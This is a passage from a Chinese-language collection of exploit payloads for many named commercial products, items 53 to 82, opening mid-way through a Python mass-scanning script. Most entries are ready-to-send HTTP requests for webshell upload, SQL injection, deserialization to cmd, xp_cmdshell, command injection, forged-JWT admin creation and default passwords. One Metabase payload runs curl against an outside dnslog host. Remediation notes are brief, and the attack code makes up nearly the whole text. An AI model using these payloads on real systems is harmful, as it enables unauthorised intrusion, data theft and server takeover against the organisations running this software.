        b = b"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"
        burp0_data = base64.b64decode(b)
        res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False, timeout=3)

        if res.status_code == 200 and 'Testdmc' in res.headers and res.headers['Testdmc']:
            testdmc_value = res.headers['Testdmc']
            print("[+]", host, "------存在漏洞！")
            print("Testdmc的值为：", base64.b64decode(testdmc_value).decode('utf-8'))
        else:
            print("[o]", host, "------不存在漏洞！")
    except Exception as e:
        print("[o]", host, "------不存在漏洞！")

if __name__ == '__main__':
    with open('urls.txt', 'r') as file:
        hosts = [line.strip() for line in file]

    with concurrent.futures.ThreadPoolExecutor() as executor:
        executor.map(check, hosts)

53、蓝凌EKP远程代码执行漏洞

受影响版本：
   蓝凌EKP V16 (最新版)受影响存在远程代码执行漏洞；V15暂无环境验证，可能受影响。
修复方案：
   使用网络ACL限制该OA的访问来源，加强监测，重点拦截GET请求中带有../等目录穿越特征的URL。
通过文件上传-->解压-->获取webshell，前台漏洞

漏洞路径：

/api///sys/ui/sys_ui_extend/sysUiExtend.do

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: /
Connection: Keep-Alive
Content-Length: 42
Content-Type: application/x-www-form-urlencoded
var={"body":{"file":"file:///etc/passwd"}}

54、Smartx超融合远程命令执行漏洞

SmartX超融合系统是构建超融合平台的核心软件，能够基于不同虚拟化平台和软硬件的交付方式实现超融合架构。Smartx超融合系统存在远程命令执行漏洞，攻击者可利用该漏洞执行任意命令，控制服务器。
受影响版本：Smartx超融合version <= 5.0.5受影响存在漏洞；最新版暂无环境验证，可能受影响。
修复方案：使用网络ACL限制该产品的访问来源，加强监测，重点拦截GET请求中带有操作系统命令注入特征的URL；

临时修复方案：
重点拦截访问 /api/v2/deployment/can_ping的可疑ip

55、Nacos-Sync未授权漏洞

https://xxx.xxx.xxx/#/serviceSync

56、360 新天擎终端安全管理系统信息泄露漏洞

http://ip:port/runtime/admin_log_conf.cache

57、锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

POST /ddi/server/fileupload.php?uploadDir=../../321&name=123.php HTTP/1.1
Host: 
Accept: text/plain, */*; q=0.01
Content-Disposition: form-data; name="file"; filename="111.php"
Content-Type: image/jpeg

<?php phpinfo();?>

58、网神 SecSSL 3600安全接入网关系统任意密码修改漏洞

POST /changepass.php?type=2 

Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"test","subAuthId":"1"}

old_pass=&password=Test123!@&repassword=Test123!@

59、Openfire身份认证绕过漏洞(CVE-2023-32315)

GET /user-create.jsp?csrf=Sio3WOA89y2L9Rl&username=user1&name=&email=&password=Qwer1234&passwordConfirm=Qwer1234&isadmin=on&create=............ HTTP/1.1

59、大华智慧园区综合管理平台 user_getUserInfoByUserName.action 任意密码读取漏洞

GET /admin/user_getUserInfoByUserName.action?userName=system HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

60、泛微 ShowDocsImagesql注入漏洞

GET /weaver/weaver.docs.docs.ShowDocsImageServlet?docId=* HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko) 
Accept-Encoding: gzip, deflate
Connection: close

61、宏景 HCM codesettree SQL 注入漏洞

GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko) 
Accept-Encoding: gzip, deflate
Connection: close

61、用友时空 KSOATaskRequestServlet sql注入漏洞

/servlet/com.sksoft.v8.trans.servlet.TaskRequestServlet?unitid=1*&password=1,

62、用友时空 KSOA servletimagefield 文件 sKeyvalue 参数SQL 注入

GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','test'))--+ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko) 
Accept-Encoding: gzip, deflate
Connection:

63、用友畅捷通 T注入

sqlmap -u http://xx.xx.xx.xx/WebSer~1/create_site.php?site_id=1 --is-dba

64、宏景OA文件上传

POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: xx.xx.xx.xx
Cookie: JSESSIONID=C92F3ED039AAF958516349D0ADEE426E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 417

DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cMW5kZXguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

1

shell:http://xx.xx.xx.xx/1ndex.jsp

65、金和OA 未授权

漏洞链接
http://xx.xx.xx.xx/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1

复现步骤
http://xx.xx.xx.xx/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1%3bWAITFOR+DELAY+'0%3a0%3a5'+--%20and%201=1

66、Kuboard默认口令

漏洞描述：

Kuboard，是一款免费的 Kubernetes 图形化管理工具，Kuboard 力图帮助用户快速在 Kubernetes 上落地微服务。Kuboard存在默认口令可以通过默认口令登录Kuboard，管理Kubernetes。

admin/kuboard123

67、QAX-Vpn存在x遍历及任意账号密码修改漏洞

https://x.xxx.xxx.cn/admin/group/xgroupphp?id=1 
https://x.xxx.xxx.cn/admin/group/xgroupphp?id=3 cookie: admin id=1; gw admin ticket=1;

68、有用畅捷通T+GetStoreWarehouseByStore RCE漏洞

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: your-ip
X-Ajaxpro-Method: GetStoreWarehouseByStore

{
	"storeID":{
		"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
	"MethodName":"Start",
	"ObjectInstance":{
		"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
		"StartInfo": {
			"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
			"FileName":"cmd", "Arguments":"/c 执行的命令"
		}
	}
}
}

使用ysoserial.net工具构造payload（攻击链：ObjectDataProvider）
./ysoserial.exe -f JavaScriptSerializer -g ObjectDataProvider -c "执行的命令"

将生成的序列化数据加载到PoC中（PS：需要将里面的单引号替换成双引号）

69、契约锁电子签章系统 RCE

POST /callback/%2E%2E;/code/upload HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type:multipart/form-data;

boundary=----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
Content-Disposition: form-data; name="type";

TIMETASK
----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
Content-Disposition: form-data; name="file"; filename="qys.jpg"

马儿

----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki

70、任我行 CRM SmsDataList SQL注入漏洞

POST /SMS/SmsDataList/?pageIndex=1&pageSize=30 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.1361.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

Keywords=&StartSendDate=2020-06-17&EndSendDate=2020-09-17&SenderTypeId=00000000*

71、深信服数据中心管理系统 XML 实体注入漏洞

GET /src/sangforindex HTTP/1.1
Host: ip:port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)
Accept:
text/xml,application/xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: text/xml
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: Keep-alive
Content-Length: 135
<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE root [
<!ENTITY rootas SYSTEM "http://dnslog">
]>
<xxx>
&rootas;
</xxx>

72、明源云 ERP ApiUpdate.ashx 文件上传漏洞

POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
Host: target.com
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 856

{{unquote("PK\x03\x04\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00../../../fdccloud/_/check.aspx$\xcc\xcb\x0a\xc20\x14\x04\xd0_\x09\x91B\xbb\x09\x0a\xddH\xab\x29\x8aP\xf0QZ\xc4\xf5m\x18j!ib\x1e\x82\x7fo\xc4\xdd0g\x98:\xdb\xb1\x96F\xb03\xcdcLa\xc3\x0f\x0b\xce\xb2m\x9d\xa0\xd1\xd6\xb8\xc0\xae\xa4\xe1-\xc9d\xfd\xc7\x07h\xd1\xdc\xfe\x13\xd6%0\xb3\x87x\xb8\x28\xe7R\x96\xcbr5\xacyQ\x9d&\x05q\x84B\xea\x7b\xb87\x9c\xb8\x90m\x28<\xf3\x0e\xaf\x08\x1f\xc4\xdd\x28\xb1\x1f\xbcQ1\xe0\x07EQ\xa5\xdb/\x00\x00\x00\xff\xff\x03\x00PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00../../../fdccloud/_/check.aspxPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00L\x00\x00\x00\xc8\x00\x00\x00\x00\x00")}}

73、泛微 HrmCareerApplyPerView S Q L 注入漏洞

GET /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(db_name()),db_name(1),5,6,7 HTTP/1.1
Host: 127.0.0.1:7443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko)
Accept-Encoding: gzip, deflate
Connection: close

74、Metabase validate 远程命令执行漏洞（CVE-2023-38646）

漏洞描述
Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松连接到各种数据源，包括数据库、云服务和API，然后使用绘图的界面进行数据查询、分析和可视化。需身份认证的远程攻击者利用该漏洞可以在服务器上以运行元数据库服务器的权限执行任意命令

工具链接
https://github.com/robotmikhro/CVE-2023-38646

漏洞影响
元数据库  

网络测绘
应用程序=“元数据库”

漏洞复现
登录页面

POC
/api/session/properties

POST /api/setup/validate HTTP/1.1
Host: 
Content-Type: application/json
Content-Length: 812

{
    "token": "e56e2c0f-71bf-4e15-9879-d964f319be69",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl ecw14d.dnslog.cn')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

75、KubePi JwtSigKey 登陆绕过漏洞（CVE-2023-22463）

漏洞描述
KubePi 中存在 JWT 硬编码，攻击者通过硬编码可以获取服务器后台管理权限，添加任意用户

漏洞影响
库贝派

网络测绘
“库贝皮”

漏洞复现
登陆页面

POST /kubepi/api/v1/users HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
accept: application/json
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8

{
  "authenticate": {
       "password": "{{randstr}}"
  },
  "email": "{{randstr}}@qq.com",
  "isAdmin": true,
  "mfa": {
          "enable": false
   },
  "name": "{{randstr}}",
  "nickName": "{{randstr}}",
  "roles": [
       "Supper User"
  ]
}

76、禅道 16.5 router.class.php SQL注入漏洞

POST /user-login.html 

account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23

77、金山EDR RCE漏洞

开启⽇志 /Console/inter/handler/change_white_list_cmd.php id参数

POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
Host: 192.168.24.3:6868
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 131
Origin: http://192.168.24.3:6868
Connection: close
Referer: http://192.168.24.3:6868/settings/system/user.php?m1=7&m2=0

{"change_white_list_cmd":{"ip":"{BD435CCE-3F91EC}","name":"3AF264D9-
AE5A","id":"111;set//global//general_log=on;","type":"0"}}

设置日志php文件

POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
Host: 192.168.24.3:6868
Content-Length: 195
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.24.3:6868
Referer: http://192.168.24.3:6868/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SKYLARa0aedxe9e785feabxae789c6e03d=tf2xbucirlmkuqsxpg4bqaq0snb7
Connection: close

{"change_white_list_cmd":{"ip":"{BD435CCE-3F91EC}","name":"3AF264D9-
AE5A","id":"111;set//global//general_log_file=0x2e2e2f2e2e2f436f6e736f6c652f6368656
36b5f6c6f67696e322e706870;","type":"0"}}

写入php代码

POST /inter/ajax.php?cmd=settings_distribute_cmd HTTP/1.1
Host: 192.168.24.3:6868
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
Firefox/114.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 222
Origin: http://192.168.24.3:6868
Connection: close
Referer: http://192.168.24.3:6868/index.php
{"settings_distribute_cmd":{"userSession":"{BD435CCE-3F91-E1AA-3844-
76A49EE862EB}","mode_id":"3AF264D9-AE5A-86F0-6882-DD7F56827017","settings":"3AF264D9-
AE5A-86F0-6882-DD7F56827017_0","SC_list":{"a":"<?php phpinfo();?>"}}}

最后get请求rce：

http://192.168.24.3:6868/check_login2.php

78、Panabit iXCache网关RCE漏洞CVE-2023-38646

POST /cgi-bin/Maintain/date_config HTTP/1.1
Host: 127.0.0.1:8443
Cookie: pauser_9667402_260=paonline_admin_44432_9663; pauser_9661348_661=paonline_admin_61912_96631
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

ntpserver=0.0.0.0%3Bwhoami&year=2000&month=08&day=15&hour=11&minute=34&second=53&ifname=fxp1

79、金和OA C6-GetSqIData.aspx SQL注入漏洞

POST /C6/Control/GetSqlData.aspx/.ashx
Host: ip:port 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Connection: close
Content-Length: 189
Content-Type: text/plain
Accept-Encoding: gzip

exec master..xp_cmdshell 'ipconfig'

80、致远OA任意管理员登录

POST /seeyon/thirdpartyController.do HTTP/1.1

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

81、用友nc-cloudRCE

NC63、NC633、NC65
NC Cloud1903、NC Cloud1909
NC Cloud2005、NC Cloud2105、NC Cloud2111
YonBIP高级版2207

先发送数据包，返回200

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cookiets=168170496; JSESSIONID=33A343770FF.server
If-None-Match: W/"1571-1589211696000"
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 249

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}

再发送数据包执行命令，返回命令执行结果

POST /404.jsp?error=bsh.Interpreter HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cookiets=1681785232226; JSESSIONID=334D3ED07A343770FF.server
If-None-Match: W/"1571-1589211696000"
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 104

cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ping 8.8.8.8").getInputStream())

82、用友 NC Cloud jsinvoke 任意文件上传漏洞

用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限

app="用友-NC-Cloud"

POST /uapjs/jsinvoke/?action=invoke
Content-Type: application/json
